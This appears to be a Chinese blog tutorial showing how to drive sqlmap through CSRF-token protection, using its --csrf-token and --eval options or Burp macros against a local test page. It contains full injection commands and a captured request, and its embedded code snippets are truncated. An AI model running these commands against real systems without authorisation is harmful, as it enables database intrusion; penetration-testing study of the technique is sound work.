sqlmap+burp绕过csrf
总阅读次
目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。针对后两种遇到了注入点,如何自动化利用sqlmap注入呢?
目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。针对后两种遇到了注入点,如何自动化利用sqlmap注入呢?
比如说下面这种情况,存在注入点,但是会验证token:
1 | <?php |
sqlmap自带功能
burp抓个包1
2
3
4
5
6
7
8
9
10
11
12
13POST /test/csrf_test/csrf.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://127.0.0.1/test/csrf_test/csrf.php?id=root
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Cookie: PHPSESSID=o39l0bgbei6lfjn0pg0tu0ghl1
Connection: close
Upgrade-Insecure-Requests: 1
token=82e50c9428a2b659f9fba799e8f80bec&id=root
现在的目的是只要能把获取到的token放到post请求就OK~
方法1
最新版sqlmap1.2.8.15#dev良好支持csrf注入,它会自动先get请求一次页面,拿到给定参数的值后再进行注入。
1 | python sqlmap.py -r 5.txt --csrf-token="token" --csrf-url="http://127.0.0.1/test/csrf_test/csrf.php" --dbms mysql --level 5 -p id --proxy http://127.0.0.1:8080 |
方法2
使用sqlmap的–eval参数在发送请求前先执行我们构造的脚本,就可以把获取到的token带进去。
执行的脚本示例如下,一定要带上你的cookie,这个是后端“跟踪”你的凭证:
1 | import requests,re; |
把burp抓到的包保存为1.txt,把eval 的脚本保存为 csrf.py,然后执行sqlmap
1 | python sqlmap.py -r 1.txt --eval="import csrf;token=csrf.get_token()" --dbms mysql --level 5 -p id |
burp的宏
burp的宏会记录通信过程,找到上下文关系中可能存在的一些依赖。比如token,上一次请求拿到的token下一次请求时得带上这个token。
具体配置参考这篇文章就可以,这里就不赘述了。
最后一条命令搞定1
python sqlmap.py -r 1.txt --dbms mysql --level 5 -p id --proxy http://127.0.0.1:8080
美滋滋。
参考链接:
https://blog.csdn.net/u011066706/article/details/51175351
https://www.cyberis.co.uk/burp_macros.html
https://my.oschina.net/oby/blog/847522
http://www.freebuf.com/articles/web/156735.html